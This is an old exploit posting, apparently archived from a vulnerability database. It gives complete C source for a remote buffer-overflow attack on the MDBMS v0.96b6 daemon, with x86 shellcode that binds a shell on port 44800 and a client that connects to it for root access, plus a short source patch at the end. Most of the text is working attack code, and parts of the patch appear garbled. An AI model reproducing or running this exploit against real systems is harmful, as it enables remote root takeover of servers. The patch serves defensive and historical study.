Remote xploit for MDBMS

2000-05-2500:00:00

vulners.com

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/* MDBMS V0.96b6 remote shell xploit

      11/05/2000  |[TDP]| &lt;[email protected]&gt;  -  HaCk-13 TeaM

This code shows a MDBMS v0.96b6 vulnerability in which, any remote
user can exec a shell. MDBMS daemon used to be ran as root user; exposing
the system to serious vulnerability risks, because any attacker can obtain
root priviledges remotely with this exploit
Exploit tested on LiNUX SuSE 6.3… previous MDBMS versions may
be affected by this vulnerability. Fix at end of this doc.

 Greetings goes to all other members and all my friends

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>

#define NOP 0x90
#define LEN 10008
#define RET 0xbffff586

/* Special shell code */
char shellcode[] =

"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89\xf1"

"\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01\xcd"

"\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\xaf\x66\x89\x46\x0e\x8d\x46\x0c\x89"

"\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb"

"\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89"

"\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80"

"\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06"

"\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"

"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd"
"\x80\xe8\x5b\xff\xff\xff";

long
resolveip (char *name)
{
struct hostent *hp;
long ip;

if ((ip = inet_addr (name)) == -1)
{
if ((hp = gethostbyname (name)) == NULL)
{
fprintf (stderr, "Can't resolve host name [%s].\n", name);
exit (0);
}
memcpy (&ip, (hp->h_addr), 4);
}
return (ip);
}

int
main (int argc, char *argv[])
{
char buffer[LEN], buffer2[LEN + 10];
long retaddr = RET;
long remoteip;
unsigned long sp;
int i, a, shellsock, clisock;
struct sockaddr_in clisin, shsin;
char snd[4096], rcv[4096];
fd_set rset;

fprintf (stderr,
"\nMDBMS v0.96b6 Remote Shell Xploit - <[email protected]>\n");

if (argc < 2)
{
fprintf (stderr, "Usage: %s ip [offset]\n", argv[0]);
exit (-1);
}

if (argc > 2)
a = atoi (argv[2]);
else
a = 0;

retaddr = retaddr + a;

for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr;

for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
*(buffer + i) = NOP;

memcpy (buffer + i, shellcode, strlen (shellcode));
sprintf (buffer2, "%s\n", buffer);

fprintf (stderr, "Connecting to remote MDBMS server…\n");
fflush (stdout);
remoteip = resolveip (argv[1]);
clisock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (clisock == -1)
{
fprintf (stderr, "Can't create main socket");
exit (-1);
}
clisin.sin_family = AF_INET;
clisin.sin_port = htons (2224);
clisin.sin_addr.s_addr = remoteip;
if (connect (clisock, (struct sockaddr *) &clisin, sizeof (clisin)) == -1)
{
fprintf (stderr, "Can't connect to the MDBMS fastport, trying normal
port…\n");
clisin.sin_family = AF_INET;
clisin.sin_port = htons (2223);
clisin.sin_addr.s_addr = remoteip;
if (connect (clisock, (struct sockaddr *) &clisin, sizeof (clisin)) ==
-1)
{
fprintf
(stderr, "Can't connect to normalport… MDBMS is running in remote
server?\n\n");
exit (0);
}
exit (0);
}

switch (i = read (clisock, buffer, LEN))
{
case -1:
{
fprintf (stderr, "ClientSocket: unexpected EOF\n");
exit (0);
}
case 0:
{
fprintf (stderr, "ClientSocket: EOF\n");
exit (0);
}
default:
buffer[i] = 0;
fprintf (stderr, "%s\n", buffer);
break;
}
fprintf (stderr, "Sending xploit, jumping to address 0x%lx\n", retaddr);
i = write (clisock, buffer2, strlen (buffer2));
fsync (clisock);
if ((i < 10000) || (i > 10018))
{
fprintf (stderr, "ClientSocket: Error writing xploit\n");
exit (0);
}
close (clisock);

fprintf (stderr, "Waiting 2 secs for hell…\n");
sleep (2);
/* shell stuFF */
fprintf (stderr, "Connecting to the shell…\n");
fflush (stdout);

memset (&shsin, 0, sizeof (shsin));
shsin.sin_family = AF_INET;
shsin.sin_port = htons (44800);
shsin.sin_addr.s_addr = remoteip;

if ((shellsock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf (stderr, "Can't create shell socket\n");
exit (-1);
}

if (connect (shellsock, (struct sockaddr *) &shsin, sizeof (shsin)) < 0)
{
fprintf (stderr, "Can't connect to the shell\n\n");
exit (0);
}

fprintf (stderr, "Connected\n");

while (1)
{
FD_ZERO (&rset);
FD_SET (fileno (stdin), &rset);
FD_SET (shellsock, &rset);
select (255, &rset, NULL, NULL, NULL);
if (FD_ISSET (fileno (stdin), &rset))
{
memset (snd, 0, sizeof (snd));
fgets (snd, sizeof (snd), stdin);
write (shellsock, snd, strlen (snd));
}
if (FD_ISSET (shellsock, &rset))
{
memset (rcv, 0, sizeof (rcv));
if (read (shellsock, rcv, sizeof (rcv)) <= 0)
exit (0);
fputs (rcv, stdout);
}
}

return (0);
}

/* FIX — mdbmsfix.diff -------- cut here -----------

*** mdbms-0.99/include/interface.hh Sun Sep 21 13:48:21 1997
— mdbms-0.99-fixed/include/interface.hh Wed May 12 01:00:55 2000
*************** class user
*** 71,73****
void unload();
! int nextline(char *, char *);
void uprintf(char , …);
— 71,73 ----
void unload();
! int nextline(char , char , int);
void uprintf(char , …);
*** mdbms-0.99/mdbms/interface.cc Sat Nov 8 12:12:31 1997
— mdbms-0.99-fixed/mdbms/interface.cc Wed May 12 01:00:10 2000
*************** void user::input()
*** 223,225
}
! int user::nextline(char *source, char *dest)
{
— 223,225 ----
}
! int user::nextline(char source, char dest, int limit)
{
*************** int user::nextline(char source, char d
*** 227,228
— 227,231 ----
if (!where) return -1;

// Sec Fix - |[TDP]| <[email protected]> //
if ((where-source)>limit)
```
  return&#40;-1&#41;;
```
(where++)='\0';
*************** void user::run()
*** 263,265***
if (blocked) return;
! while (nextline(inbuf,buf)!=-1)
{
— 266,268 ----
if (blocked) return;
! while (nextline(inbuf,buf,sizeof(buf))!=-1)
{

--------------------- cuthere -----------------------*/

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